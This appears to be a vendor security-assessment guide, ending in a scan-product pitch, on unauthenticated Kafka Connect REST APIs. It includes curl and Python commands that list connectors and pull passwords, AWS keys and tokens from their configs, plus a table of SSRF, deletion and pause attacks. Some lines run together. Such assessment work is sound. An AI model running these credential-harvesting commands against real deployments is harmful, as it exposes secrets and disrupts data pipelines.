Kafka Connect is the data integration layer of the Apache Kafka ecosystem, used by enterprises to stream data between Kafka and databases, cloud storage, search indexes, and thousands of other systems. Its security posture on default deployments is critically weak: the Kafka Connect REST API on port 8083 requires no authentication by default, allowing any network client to read all connector configurations including plaintext database passwords, AWS access keys, and API tokens stored within them; attackers can create new connectors pointing to internal infrastructure targets, causing the Kafka Connect worker to make outbound connections to those targets as SSRF; existing connectors can be deleted or paused, disrupting production data pipelines; and the worker processes run with the permissions of whatever system user Kafka Connect runs as, so SMT (Single Message Transform) configurations that allow custom class loading could enable code execution. This guide covers systematic Kafka Connect security assessment.
# Kafka Connect default REST API port: 8083
# Check if Kafka Connect REST API is accessible
curl -s http://kafka-connect.example.com:8083/ 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Kafka Connect version: {data.get('version','?')}\")
print(f\"Commit: {data.get('commit','?')}\")
print(f\"Cluster ID: {data.get('kafka_cluster_id','?')}\")
" 2>/dev/null# List all connectors (no auth required on default deployments)
curl -s http://kafka-connect.example.com:8083/connectors 2>/dev/null | \
python3 -c "
import json,sys
connectors = json.load(sys.stdin)
print(f'Connectors: {len(connectors)}')
for c in connectors:
print(f' {c}')
" 2>/dev/null
# Extract credentials from each connector's configuration
# JDBC connectors commonly contain database passwords
# S3 connectors contain AWS access keys
for CONNECTOR in $(curl -s http://kafka-connect.example.com:8083/connectors 2>/dev/null | \
python3 -c "import json,sys; cs=json.load(sys.stdin); [print(c) for c in cs]" 2>/dev/null); do
echo "=== ${CONNECTOR} ==="
curl -s "http://kafka-connect.example.com:8083/connectors/${CONNECTOR}/config" 2>/dev/null | \
python3 -c "
import json,sys
config = json.load(sys.stdin)
# Look for credential-related fields
cred_keys = ['password','connection.password','aws.secret.access.key',
'sasl.jaas.config','ssl.keystore.password','api.key',
'basic.auth.credentials.source','auth.token']
for k,v in config.items():
# Check if key contains sensitive data
key_lower = k.lower()
if any(ck in key_lower for ck in ['password','secret','key','token','auth','credential']):
print(f' SENSITIVE: {k} = {str(v)[:80]}')
" 2>/dev/null
donelisteners=https://0.0.0.0:8083 with SSL and add rest.extension.classes=org.apache.kafka.connect.rest.basic.auth.extension.BasicAuthSecurityRestExtension to require credentials for all API access${vault:secret/path:key} syntax instead of storing plaintext passwords in connector configurations| Security Test | Method | Risk |
|---|---|---|
| REST API accessible without authentication | GET http://host:8083/connectors — 200 response without credentials means auth disabled | Critical |
| Plaintext credentials in connector configs | GET /connectors/{name}/config — lists all config fields including database passwords and AWS keys | Critical |
| SSRF via connector creation | POST /connectors with URL pointing to internal service — Kafka Connect worker makes connection to internal target | High |
| Connector deletion disrupts data pipeline | DELETE /connectors/{name} — removes running connector, stops data flow to downstream systems | High |
| Connector pause/resume for data manipulation | PUT /connectors/{name}/pause — pauses data ingestion creating inconsistent state | Medium |
| Worker plugin class enumeration | GET /connector-plugins — lists all installed connector types, revealing data sources and potential attack vectors | Low |
Ironimo tests Kafka Connect deployments for unauthenticated REST API access on port 8083, plaintext credential extraction from JDBC, S3, Elasticsearch, and other connector configurations, SSRF via connector creation pointing to internal AWS metadata endpoints or internal services, connector deletion and pause abuse disrupting production data pipelines, and Kafka Connect REST API communicating without TLS enabling credential interception on the network.
Start free scan